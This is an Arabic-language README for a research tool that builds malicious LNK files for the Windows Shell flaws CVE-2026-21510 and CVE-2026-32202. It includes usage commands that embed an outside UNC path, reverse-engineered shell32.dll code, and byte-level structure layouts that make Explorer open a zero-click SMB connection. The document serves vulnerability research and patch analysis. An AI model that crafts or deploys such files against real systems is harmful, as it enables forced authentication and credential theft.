
يُنشئ ملفات LNK بهياكل _IDCONTROLW مصمّمة خصيصًا للبحث في ثغرات انتحال واجهة Windows Shell CVE-2026-21510 وCVE-2026-32202، بما في ذلك الهندسة العكسية لدواخل shell32.dll.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLWسياق البحث: تحليل CVE-2026-21510 / CVE-2026-32202 (سلسلة استغلال LNK من APT28).
استنادًا إلى أبحاث أمنية من Akamai.
الهدف: إعادة بناء البنية الداخلية_IDCONTROLWالمستخدمة بواسطةshell32.dllلتمثيل تطبيقات لوحة التحكم داخلLinkTargetIDList.
استغل APT28 ثغرة في Windows Shell (shell32.dll) من خلال إنشاء ملف .lnk خبيث يحتوي على LinkTargetIDList مع مسار UNC مضمّن داخل بنية _IDCONTROLW غير موثقة. تسبب هذا في قيام explorer.exe ببدء اتصال SMB بخادم يتحكم فيه المهاجم دون تفاعل من المستخدم (zero-click).
البنية _IDCONTROLW غير موثقة في Windows SDK العام أو في رموز PDB العامة من Microsoft لـ shell32.dll. يوثق هذا التقرير إعادة بنائها من خلال التحليل الثابت في IDA Pro.
وفقًا لـ MS-SHLLINK، يحتوي LinkTargetIDList على IDList قياسي — مصفوفة من إدخالات ItemID متغيرة الطول تنتهي بقيمة null من 2 بايت.
في استغلال APT28، يحتوي IDList على ثلاثة عناصر بالضبط:
| الفهرس | المحتوى |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — جذر لوحة التحكم |
IDList[1] | عنصر CControlPanelCategoryFolder — "جميع عناصر لوحة التحكم" (الفئة 0) |
IDList[2] | _IDCONTROLW — إدخال تطبيق CPL مع مسار UNC مضمّن |
يؤدي هذا إلى المسار الافتراضي:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL entry}
نظرًا لغياب _IDCONTROLW عن رموز PDB العامة، تم إجراء إعادة البناء من خلال تتبع سلسلة الاستدعاءات في IDA Pro بدءًا من CControlPanelFolder::GetUIObjectOf — الوظيفة المسؤولة عن عرض عناصر لوحة التحكم في Explorer.
CControlPanelFolder::GetUIObjectOfعندما يعرض Explorer مجلدًا يحتوي على LNK الخبيث، يستدعي GetUIObjectOf لاستخراج أيقونة عنصر CPL. يؤدي هذا إلى تشغيل السلسلة التالية:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW triggered here (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← detects _IDCONTROLW
_IsUnicodeCPLWorker — التحقق من البنيةconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
يكشف هذا عن علامة Unicode عند الإزاحة +0x0D = 0x6A.
CControlPanelFolder::GetModule — الوصول إلى الحقول// Unicode path read from offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// ANSI fallback reads from offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
يؤكد هذا أن مسار Unicode (ModulePath) يبدأ عند +0x18.
_IDControlCreateW — بناء البنيةint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) in bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // total data size
v11 = ILCreate(v10 + 26); // alloc: data + 0x1A header
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// strings written at +0x18
}
_IDCONTROLW المعاد بناؤهاstruct _IDCONTROLW {
WORD cb; // +0x00 size of entire structure (including cb itself)
WORD pad1; // +0x02 padding, always 0
DWORD dwAppletID; // +0x04 applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 always 0 (checked by _IsUnicodeCPLWorker)
WORD pad3; // +0x0A always 0 (checked by _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C always 0 (checked by _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — Unicode CPL marker
WORD pad5; // +0x0E padding
DWORD pad6; // +0x10 padding
WORD cchModule; // +0x14 length of ModulePath in WCHARs (including null terminator)
WORD offName; // +0x16 offset of Name from start of data[] in WCHARs
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| الإزاحة | الحجم | الحقل | القيمة / الملاحظات |
|---|---|---|---|
+0x00 | WORD | cb | الحجم الإجمالي للبنية |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | معرف التطبيق (مثل 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — تم التحقق منه بواسطة _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — تم التحقق منه بواسطة _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — تم التحقق منه بواسطة _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — علامة Unicode |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (يتبع الاسم ModulePath مباشرة) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL مقابل _IDCONTROLWيتم إنشاء نسخة ANSI (_IDCONTROL) بواسطة _IDControlCreateA وتستخدم تخطيطًا مختلفًا:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
الاختلافات الرئيسية:
| الخاصية | _IDCONTROL (ANSI) | _IDCONTROLW (Unicode) |
|---|---|---|
| حجم الترويسة | 0x0C (12 بايت) | 0x18 (24 بايت) |
| ترميز السلاسل | ANSI (char) | UTF-16LE (WCHAR) |
| علامة Unicode | غائبة | +0x0D = 0x6A |
| الاكتشاف | _IsUnicodeCPLWorker يُرجع nullptr | يُرجع مؤشرًا |
| إزاحة بداية المسار | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
النوع 0x1F = عنصر shell جذر مع CLSID.
أعيد بناؤه من CControlPanelCategoryFolder::CreateIDList:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // magic identifier
v5[2] = 0; // category index = 0
الثنائي:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW مع مسار UNCمثال مع \\192.168.1.31\share\test.cpl:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
سلسلة الثغرات في الإصدار غير المُصحح:
Explorer renders folder
→ CControlPanelFolder::GetUIObjectOf (icon extraction request)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← SMB connection initiated HERE
قدم تصحيح Microsoft (CVE-2026-21510) ControlPanelLinkSite الذي يضيف التحقق عبر SmartScreen من خلال IVerifyingTrust::OnVerifyingTrust — ولكن فقط في مرحلة ShellExecuteExW. استدعاء PathFileExistsW في GetModuleMapped يحدث مبكرًا في السلسلة ولم تتم معالجته، مما ترك CVE-2026-32202 (الانتزاع القسري للمصادقة) بدون تصحيح حتى تحديث لاحق.
المعلومات المقدمة في هذا المستودع هي لأغراض تعليمية وإعلامية فقط. لا يؤيد المؤلف أو يتحمل مسؤولية أي استخدام غير قانوني أو خبيث أو غير أخلاقي للمواد المعروضة. لا ينبغي تطبيق التقنيات والمفاهيم التي تمت مناقشتها على الأنظمة أو الشبكات دون الحصول على إذن مناسب. المؤلف غير مسؤول عن أي أضرار أو عواقب قانونية أو خسائر ناتجة عن إساءة استخدام هذه المعلومات. يُشجع القراء على الالتزام بجميع القوانين والإرشادات المعمول بها فيما يتعلق بممارسات الأمن السيبراني.